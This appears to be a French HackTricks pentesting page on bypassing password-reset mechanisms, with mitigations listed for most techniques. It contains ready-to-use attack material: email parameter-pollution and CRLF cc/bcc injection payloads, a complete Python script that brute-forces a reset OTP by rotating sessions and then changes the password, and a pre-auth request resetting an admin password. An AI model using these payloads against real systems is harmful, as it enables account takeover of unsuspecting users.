Reset/Forgotten Password Bypass

Reading time: 11 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Password Reset Token Leak Via Referrer

  • L'en-tĂȘte HTTP referer peut leak le password reset token s'il est inclus dans l'URL. Cela peut se produire lorsqu'un utilisateur clique sur un lien d'un site tiers aprĂšs avoir demandĂ© une rĂ©initialisation de mot de passe.
  • Impact : Prise de contrĂŽle potentielle de compte via des attaques Cross-Site Request Forgery (CSRF).
  • Exploitation : Pour vĂ©rifier si un password reset token leak dans le referer header, demandez une rĂ©initialisation de mot de passe vers votre adresse email et cliquez sur le lien de rĂ©initialisation fourni. Ne changez pas votre mot de passe immĂ©diatement. Au lieu de cela, naviguez vers un site tiers (comme Facebook ou Twitter) tout en interceptant les requĂȘtes avec Burp Suite. Inspectez les requĂȘtes pour voir si le referer header contient le password reset token, car cela pourrait exposer des informations sensibles Ă  des tiers.
  • RĂ©fĂ©rences :
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Les attaquants peuvent manipuler le Host header pendant les requĂȘtes de password reset pour pointer le reset link vers un site malveillant.
  • Impact : Peut conduire Ă  une prise de contrĂŽle de compte potentielle via le leak des reset tokens vers les attaquants.
  • Mesures d'attĂ©nuation :
  • Valider le Host header contre une whitelist de domaines autorisĂ©s.
  • Utiliser des mĂ©thodes serveur sĂ©curisĂ©es pour gĂ©nĂ©rer des URLs absolues.
  • Patch : Utiliser $_SERVER['SERVER_NAME'] pour construire les password reset URLs au lieu de $_SERVER['HTTP_HOST'].
  • RĂ©fĂ©rences :
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Les attaquants peuvent manipuler la requĂȘte de password reset en ajoutant des paramĂštres email supplĂ©mentaires pour dĂ©tourner le lien de rĂ©initialisation.

  • Ajouter l'email de l'attaquant comme second paramĂštre en utilisant &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Ajoutez l'adresse e-mail de l'attaquant comme deuxiĂšme paramĂštre en utilisant %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com

Ajoutez l'adresse e-mail de l'attaquant comme deuxiĂšme paramĂštre en utilisant |

php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com

Ajouter l'adresse e-mail de l'attaquant comme deuxiĂšme paramĂštre en utilisant cc

php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Ajouter l'adresse e-mail de l'attaquant comme deuxiĂšme paramĂštre en utilisant bcc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Ajouter l'adresse e-mail de l'attaquant comme deuxiĂšme paramĂštre en utilisant ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Ajouter l'email de l'attaquant comme deuxiĂšme paramĂštre dans le tableau json
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Modification de l'email et du mot de passe de n'importe quel utilisateur via les paramĂštres API

  • Les attaquants peuvent modifier les paramĂštres d'adresse e-mail et de mot de passe dans les requĂȘtes API pour changer les identifiants du compte.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
  • Étapes d'attĂ©nuation:
  • Assurer une validation stricte des paramĂštres et des vĂ©rifications d'authentification.
  • Mettre en place des logs et une surveillance robustes pour dĂ©tecter et rĂ©pondre aux activitĂ©s suspectes.
  • RĂ©fĂ©rence:
  • Full Account Takeover via API Parameter Manipulation

Absence de limitation de débit : Email Bombing

  • L'absence de limitation de dĂ©bit sur les requĂȘtes de rĂ©initialisation de mot de passe peut conduire Ă  de l'Email Bombing, submergeant l'utilisateur par des e-mails de rĂ©initialisation.
  • Étapes d'attĂ©nuation:
  • ImplĂ©menter une limitation de dĂ©bit basĂ©e sur l'adresse IP ou le compte utilisateur.
  • Utiliser des dĂ©fis CAPTCHA pour empĂȘcher l'abus automatisĂ©.
  • RĂ©fĂ©rences:
  • HackerOne Report 280534

Découvrir comment le Password Reset Token est généré

  • Comprendre le schĂ©ma ou la mĂ©thode derriĂšre la gĂ©nĂ©ration du token peut permettre de prĂ©dire ou de brute-forcer les tokens. Quelques options :
  • BasĂ© sur l'horodatage
  • BasĂ© sur l'ID utilisateur
  • BasĂ© sur l'email de l'utilisateur
  • BasĂ© sur le prĂ©nom et le nom
  • BasĂ© sur la date de naissance
  • BasĂ© sur la cryptographie
  • Étapes d'attĂ©nuation:
  • Utiliser des mĂ©thodes cryptographiques solides pour la gĂ©nĂ©ration des tokens.
  • Assurer une entropie et une longueur suffisantes pour Ă©viter toute prĂ©visibilitĂ©.
  • Outils: Utiliser Burp Sequencer pour analyser l'alĂ©a des tokens.

UUID prévisible

  • Si les UUID (version 1) sont devinables ou prĂ©visibles, les attaquants peuvent les brute-forcer pour gĂ©nĂ©rer des reset tokens valides. VĂ©rifier :

UUID Insecurities

  • Étapes d'attĂ©nuation:
  • Utiliser la GUID version 4 pour l'alĂ©a ou implĂ©menter des mesures de sĂ©curitĂ© additionnelles pour les autres versions.
  • Outils: Utiliser guidtool pour analyser et gĂ©nĂ©rer des GUIDs.

Manipulation de la réponse : Replace Bad Response With Good One

  • Manipulation des rĂ©ponses HTTP pour contourner les messages d'erreur ou les restrictions.
  • Étapes d'attĂ©nuation:
  • ImplĂ©menter des vĂ©rifications cĂŽtĂ© serveur pour garantir l'intĂ©gritĂ© des rĂ©ponses.
  • Utiliser des canaux de communication sĂ©curisĂ©s comme HTTPS pour prĂ©venir les attaques man-in-the-middle.
  • RĂ©fĂ©rence:
  • Critical Bug in Live Bug Bounty Event

Utilisation d'un token expiré

  • Tester si des tokens expirĂ©s peuvent encore ĂȘtre utilisĂ©s pour la rĂ©initialisation de mot de passe.
  • Étapes d'attĂ©nuation:
  • Mettre en place des politiques strictes d'expiration des tokens et valider l'expiration cĂŽtĂ© serveur.

Brute-force du token de réinitialisation

  • Tentative de brute-force du token de reset en utilisant des outils comme Burpsuite et IP-Rotator pour contourner les limitations basĂ©es sur l'IP.
  • Étapes d'attĂ©nuation:
  • ImplĂ©menter une limitation de dĂ©bit robuste et des mĂ©canismes de verrouillage de compte.
  • Surveiller les activitĂ©s suspectes indicatrices d'attaques par brute-force.

Essayer d'utiliser votre token

  • Tester si le token de reset d'un attaquant peut ĂȘtre utilisĂ© conjointement avec l'email de la victime.
  • Étapes d'attĂ©nuation:
  • S'assurer que les tokens sont liĂ©s Ă  la session utilisateur ou Ă  d'autres attributs spĂ©cifiques Ă  l'utilisateur.

Invalidation de session lors de la déconnexion/réinitialisation de mot de passe

  • S'assurer que les sessions sont invalidĂ©es lorsqu'un utilisateur se dĂ©connecte ou rĂ©initialise son mot de passe.
  • Étapes d'attĂ©nuation:
  • Mettre en place une gestion de session correcte, en veillant Ă  ce que toutes les sessions soient invalidĂ©es lors de la dĂ©connexion ou de la rĂ©initialisation du mot de passe.

Invalidation de session lors de la déconnexion/réinitialisation de mot de passe

  • Les reset tokens doivent avoir une durĂ©e d'expiration aprĂšs laquelle ils deviennent invalides.
  • Étapes d'attĂ©nuation:
  • DĂ©finir un dĂ©lai d'expiration raisonnable pour les reset tokens et l'appliquer strictement cĂŽtĂ© serveur.

Bypass de la limitation OTP en changeant votre session

  • Si le site utilise la session utilisateur pour suivre les tentatives de mauvais OTP et que l'OTP est faible (<= 4 chiffres), on peut effectivement brute-forcer l'OTP.
  • exploitation:
  • il suffit de demander un nouveau token de session aprĂšs avoir Ă©tĂ© bloquĂ© par le serveur.
  • Example code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

Certaines implĂ©mentations exposent une action de changement de mot de passe qui appelle la routine de changement de mot de passe avec skipOldPwdCheck=true et ne vĂ©rifie aucun reset token ni la propriĂ©tĂ© du compte. Si l'endpoint accepte un paramĂštre action comme change_password et un username/nouveau mot de passe dans le corps de la requĂȘte, un attaquant peut rĂ©initialiser arbitrairement des comptes en prĂ©-auth.

Schéma vulnérable (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

RequĂȘte d'exploitation (concept):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Mesures d'atténuation:

  • Exiger toujours un reset token valide et limitĂ© dans le temps, liĂ© au compte et Ă  la session, avant de modifier le mot de passe.
  • Ne jamais exposer les chemins skipOldPwdCheck aux utilisateurs non authentifiĂ©s ; appliquer l'authentification pour les changements de mot de passe ordinaires et vĂ©rifier l'ancien mot de passe.
  • Invalider toutes les sessions actives et les reset tokens aprĂšs un changement de mot de passe.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks